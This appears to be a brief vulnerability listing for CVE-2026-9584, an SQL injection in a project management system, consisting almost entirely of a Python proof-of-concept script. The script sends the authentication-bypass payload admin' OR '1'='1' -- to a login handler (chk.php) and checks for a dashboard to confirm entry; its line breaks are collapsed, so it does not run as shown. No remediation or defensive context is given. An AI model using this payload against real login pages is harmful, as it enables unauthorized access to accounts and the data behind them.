CVE-2026-9584：Project Management System SQL注入漏洞

import requests # Target URL pointing to the vulnerable login handler target_url = "http://example.com/chk.php" # SQL Injection payload to bypass authentication payload = { "username": "admin' OR '1'='1' --", "password": "random" } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, data=payload) # Check if the response indicates a successful login if response.status_code == 200 and "dashboard" in response.text.lower(): print("[+] Exploit successful! Authentication bypassed.") else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"Error: {e}")